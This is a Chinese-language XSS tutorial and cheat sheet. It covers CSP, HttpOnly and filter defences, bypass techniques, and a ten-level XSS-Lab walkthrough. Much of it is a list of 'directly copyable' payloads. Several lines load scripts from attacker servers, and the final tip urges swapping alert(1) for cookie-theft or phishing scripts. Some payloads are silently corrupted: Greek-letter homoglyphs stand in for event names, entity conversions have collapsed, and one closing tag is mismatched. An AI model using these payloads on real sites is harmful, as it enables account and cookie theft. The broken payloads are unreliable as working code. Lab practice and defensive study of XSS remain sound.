本节课是XSS系列的收尾,核心聚焦 "防御与绕过"------详解三大核心防御机制(CSP策略、HttpOnly属性、XSS Filter)的原理与实战效果,同时通过XSS-Lab靶场10关实战,掌握"标签闭合、事件触发、编码绕过"等核心技巧,最终形成"识别防御→分析过滤→针对性绕过"的完整思路。
一、核心防御机制(原理+实战+绕过)
1. CSP策略(Content Security Policy)
核心原理
CSP是"可信白名单机制",通过HTTP响应头限制网站可加载的资源来源(脚本、样式、图片等),本质是告诉浏览器"哪些外部资源能执行",从根源上阻断XSS(如禁止加载外域恶意JS)。
关键指令(实战常用)
| 指令 | 作用 | 示例配置 |
|---|---|---|
| default-src | 所有资源的默认加载规则(优先级最低) | default-src 'self'(仅允许同源资源) |
| script-src | 限制脚本加载来源(防御XSS核心) | script-src 'self' https://cdn.xxx.com(仅同源+指定CDN) |
| img-src | 限制图片加载来源 | img-src 'self' data:(同源+base64图片) |
| form-action | 限制表单提交目标 | form-action 'self'(仅允许提交到同源) |
实战案例(图片加载限制)
- 未启用CSP:代码加载外域图片(https://img1.baidu.com/xxx.jpg),浏览器正常显示;
- 启用CSP:添加响应头 header("Content-Security-Policy:img-src 'self' ");,外域图片被拦截(浏览器标红提示"违反CSP策略"),仅同源图片(如http://xxx/1.svg)可正常加载。
防御效果
- 阻断XSS核心危害:无法加载外域恶意JS(如<script src="http://攻击者服务器/steal.js"></script>),即使注入脚本标签也无法执行;
- 反射型XSS仍可能注入,但无实际危害(无法向外传输数据)。
绕过思路(仅配置缺陷可绕,无通用方法)
CSP绕过的核心是"开发者配置错误",而非绕过机制本身:
- 指令配置过宽:如script-src '*'(允许所有域名脚本),等于未启用;
- 白名单包含不可信域名:如script-src 'self' https://xxx.com,而xxx.com存在文件上传漏洞,可上传恶意JS;
- 遗漏关键指令:仅限制script-src,未限制img-src,可能通过img标签事件触发XSS。
判断方法
- 命令行:curl -i http://目标IP/文件,查看响应头是否含Content-Security-Policy字段;
- 浏览器F12:Network→选中请求→Response Headers,查找Content-Security-Policy。
2. HttpOnly属性(Cookie保护)
核心原理
HttpOnly是Cookie的安全属性,由服务器通过setcookie函数设置,禁止客户端JavaScript读取Cookie,直接阻断XSS的核心攻击手段(Cookie窃取)。
配置方式(PHP示例)
// 参数依次:Cookie名、值、过期时间、路径、域名、Secure、HttpOnly
setcookie('name', 'xiaodi', time() + 3600, '/', '', false, true); // 启用HttpOnly
setcookie('pass', '123456', time() + 3600, '/', '', false, false); // 未启用
实战效果
- 注入XSS脚本(如<script src="http://XSS平台/xxx.js"></script>);
- 接收结果:仅能获取未启用HttpOnly的pass=123456,启用HttpOnly的name=xiaodi无法读取。
绕过思路(实战意义极小)
所有可行绕过均依赖老旧漏洞或特殊环境,无实际利用价值:
- CVE-2012-0053(Apache漏洞):注入超长Cookie使服务器报错,状态码泄露Cookie,但漏洞已过时;
- phpinfo页面:会显示所有Cookie(含HttpOnly),但需目标存在公开的phpinfo.php;
- Flash/Java API:利用旧版插件API读取Cookie,但Flash已淘汰,Java插件极少使用。
替代攻击思路
Cookie无法窃取时,可转向其他XSS攻击:网页钓鱼、浏览器框架劫持、表单劫持等。
判断方法
- 浏览器F12:Application→Cookies→选中目标域名,查看"HttpOnly"列是否勾选;
- 命令行:curl -i http://目标域名,查看Set-Cookie字段是否含HttpOnly;
- JS控制台:执行document.cookie,若未返回某Cookie,大概率启用了HttpOnly。
3. XSS Filter(输入输出过滤)
核心原理
XSS Filter是检测并拦截恶意XSS代码的机制,主要通过三种方式防御:
- 基于特征检测:黑名单过滤(如拦截<script>、onclick等关键词);
- 基于异常检测:识别异常输入(如大量特殊字符);
- 输出编码:将输入的特殊字符(<、>、")转为HTML实体(<、>、"),使脚本无法执行。
实战核心:XSS-Lab靶场10关绕过技巧(提炼关键)
靶场核心是"分析过滤规则→针对性绕过",每关对应一种常见过滤场景,以下是核心思路:
| 关卡 | 过滤规则 | 核心绕过技巧 | 关键Payload示例 |
|---|---|---|---|
| 1 | 无过滤 | 直接注入脚本标签 | <script>alert(1)</script> |
| 2 | 输出编码(<转<),输入框value未编码 | 双引号闭合value属性,注入事件 | " οnclick="alert(1)" x=" |
| 3 | 输出编码,单引号未编码(htmlspecialchars默认行为) | 单引号闭合,注入input标签事件(onfocus) | ' οnfοcus='alert(1)' x=' |
| 4 | 过滤<、>,关键词未过滤 | 双引号闭合,注入事件(无需标签) | " οnfοcus="alert(1)" x=" |
| 5 | 过滤<script>、on关键词 | 闭合标签,注入<a>/<iframe>标签+伪协议 | "><a href="javascript:alert(1)">xss</a> |
| 6 | 过滤<script>、on、src等关键词,未转小写 | 大小写混淆绕过 | <ScRiPt>alert(1)</ScRiPt> |
| 7 | 过滤<script>(替换为空) | 双写关键词绕过 | <scriscriptpt>alert(1)</scrscriptipt> |
| 8 | 输出编码,限制链接标签 | Unicode编码伪协议(浏览器自动解码) | javascript:alert(1) |
| 9 | 要求含http://才显示,过滤javascript | 编码伪协议+包含http:// | http://javascript:alert('http://') |
| 10 | 隐藏input标签(hidden),过滤<、> | 双引号闭合,添加type="submit"显示按钮,注入事件 | t_sort=" οnfοcus="alert(1)" type="submit"> |
关键绕过思路总结
- 闭合优先:先判断输入点的闭合方式(单引号/双引号),通过闭合跳出属性/标签限制;
- 事件替代标签:<script>被过滤时,用onfocus(聚焦触发)、onclick(点击触发)等事件;
- 编码绕过:Unicode、HTML实体编码(适用于输出未解码场景);
- 关键词变形:大小写混淆、双写关键词(针对特征检测过滤);
- 标签替换:<script>失效时,用<a>、<iframe>、<svg>等支持伪协议/事件的标签。
二、黑盒XSS手工分析流程(实战通用)
-
找可控输入点:页面中所有显示用户输入的地方(搜索框、评论区、隐藏参数、UA头、Cookie);
-
注入测试脚本:先注入简单Payload(如<script>alert(1)</script>、οnfοcus="alert(1)"),观察是否执行;
-
分析过滤情况:
- 未执行但Payload显示:查看F12→Elements,判断是否被编码(如<转<);
- Payload部分消失:判断关键词过滤(如<script>被删除);
-
针对性绕过:根据过滤规则选择闭合、事件、编码、关键词变形等技巧;
-
验证效果:确认Payload执行(弹窗、数据发送到接收平台)。
三、工具推荐:XSStrike(自动XSS检测)
核心用途
自动化生成变异XSS Payload,检测并验证XSS漏洞,减少手工测试工作量。
关键信息
- 下载地址:https://github.com/s0md3v/XSStrike;
- 核心功能:Payload变异、自动绕过过滤、支持GET/POST参数测试;
- 使用建议:工具仅提供Payload列表,需手动验证有效性(部分Payload可能因过滤失效)。
四、核心总结
- 防御机制优先级:CSP(阻断根源)> HttpOnly(保护Cookie)> XSS Filter(辅助过滤);
- 绕过核心逻辑:不绕机制,绕配置/实现缺陷(如CSP配置过宽、Filter未过滤事件、编码不完整);
- 实战原则:手工分析为主,工具为辅,先明确过滤规则再动手,避免盲目尝试;
- 替代攻击:Cookie无法窃取时,转向钓鱼、表单劫持等无需Cookie的XSS攻击。
XSS防御绕过速查表(实战版)
本速查表聚焦 "防御识别→绕过技巧→直接可用Payload",覆盖CSP、HttpOnly、XSS Filter三大核心防御机制,适配黑盒测试、靶场实战场景,可直接复制Payload测试,高效突破XSS限制。
一、CSP策略(内容安全策略)
| 核心操作 | 具体方法/技巧 | 实战Payload/命令 |
|---|---|---|
| 快速判断是否开启 | 1. curl命令:curl -i http://目标IP/文件 2. 浏览器F12:Network→Response Headers→查找Content-Security-Policy | - |
| 绕过条件(仅配置缺陷) | 1. 指令过宽(如script-src '*') 2. 白名单含不可信域名 3. 遗漏关键指令(如未限制img-src) | - |
| 绕过技巧1:利用允许的域名 | 上传恶意JS到CSP允许的域名(如自身域名、信任CDN),通过<script src="允许域名/恶意.js"></script>执行 | <script src="http://目标域名/upload/malicious.js"></script> |
| 绕过技巧2:事件+允许的标签 | 若img-src 'self',用img标签事件触发XSS(无外域请求,符合CSP) | <img src=x οnerrοr="alert(document.domain)"> |
| 绕过技巧3:数据协议(data:) | 若script-src允许data:,直接嵌入编码后的JS | <script src="data:text/javascript;base64,YWxlcnQoMSk7"></script>(base64解码为alert(1);) |
二、HttpOnly属性(Cookie保护)
| 核心操作 | 具体方法/技巧 | 实战Payload/命令 |
|---|---|---|
| 快速判断是否开启 | 1. 浏览器F12:Application→Cookies→查看"HttpOnly"勾选状态 2. curl命令:curl -i http://目标域名→查看Set-Cookie是否含HttpOnly 3. JS控制台:document.cookie→未返回某Cookie则可能开启 | - |
| 绕过可行性(极低) | 仅支持老旧漏洞(CVE-2012-0053)、phpinfo页面,实战无意义 | - |
| 替代攻击思路(核心) | 1. 网页钓鱼:注入虚假登录框 2. 表单劫持:篡改页面表单提交地址 3. 浏览器劫持:用document.write覆盖页面 | 钓鱼Payload:<script>document.write('<input type="text" placeholder="请输入密码""><button οnclick="alert(\'密码已窃取\')">提交</button>')</script> |
三、XSS Filter(输入输出过滤)
| 过滤场景 | 绕过技巧 | 实战Payload(直接复制) |
|---|---|---|
| 无过滤(输入直接回显) | 直接注入脚本标签 | <script>alert(1)</script> <svg οnlοad="alert(1)"></svg> |
| 输出编码(<转<) | 双引号闭合标签属性,注入事件 | " οnclick="alert(1)" x="(适用于value="输入"场景) |
| 单引号未编码(htmlspecialchars默认) | 单引号闭合,注入onfocus事件(聚焦触发) | ' οnfοcus='alert(1)' x='(适用于value='输入'场景) |
| 过滤<、>标签 | 双引号闭合,注入事件(无需尖括号) | " οnfοcus="alert(1)" x="(适用于输入在标签属性中) |
| 过滤<script>、on关键词 | 闭合标签,注入<a>/<iframe>+伪协议 | "><a href="javascript:alert(1)">点击触发</a> |
| 过滤关键词(未转小写) | 大小写混淆绕过 | <ScRiPt>alert(1)</ScRiPt> <ImG sRc=x oNeRrOr=alert(1)> |
| 过滤关键词(替换为空) | 双写关键词绕过 | <scriscriptpt>alert(1)</scrscriptipt> <imimgage src=x οnerrοr=alert(1)> |
| 输出编码+限制链接标签 | Unicode编码伪协议(浏览器自动解码) | javascript:alert(1)(适用于<a href="输入">场景) |
| 要求含http://才显示 | 编码伪协议+嵌入http:// | http://javascript:alert('http://') |
| 隐藏input标签(hidden) | 闭合属性+添加type="submit"显示按钮,注入事件 | t_sort=" οnfοcus="alert(1)" type="submit">(适用于隐藏参数t_sort) |
四、XSS-Lab靶场10关核心Payload汇总(直接套用)
| 关卡 | 核心Payload | 适用场景 |
|---|---|---|
| 1 | <script>alert(1)</script> | 无过滤,输入直接回显 |
| 2 | " οnclick="alert(1)" x=" | 输出编码,输入框value未编码 |
| 3 | ' οnfοcus='alert(1)' x=' | 单引号未编码,输入在value属性中 |
| 4 | " οnfοcus="alert(1)" x=" | 过滤尖括号,输入在value属性中 |
| 5 | "><a href="javascript:alert(1)">xss</a> | 过滤<script>和on关键词 |
| 6 | <ScRiPt>alert(1)</ScRiPt> | 过滤关键词,未转小写 |
| 7 | <scriscriptpt>alert(1)</scrscriptipt> | 过滤关键词,替换为空 |
| 8 | javascript:alert(1) | 输出编码,友情链接场景 |
| 9 | http://javascript:alert('http://') | 要求含http://,过滤javascript |
| 10 | t_sort=" οnfοcus="alert(1)" type="submit"> | 隐藏input标签,参数t_sort可控 |
五、使用提示
- 测试前先判断防御机制:优先用curl/F12确认是否开启CSP、HttpOnly,再针对性选择Payload;
- 事件触发Payload需手动激活:onfocus(点击输入框聚焦)、onclick(点击元素);
- 编码Payload需确保浏览器能解码:Unicode、base64编码仅适用于标签属性或script src场景;
- 实战中优先选择无弹窗Payload:将alert(1)替换为Cookie窃取、钓鱼脚本(如<script src="http://你的服务器/steal.js"></script>)。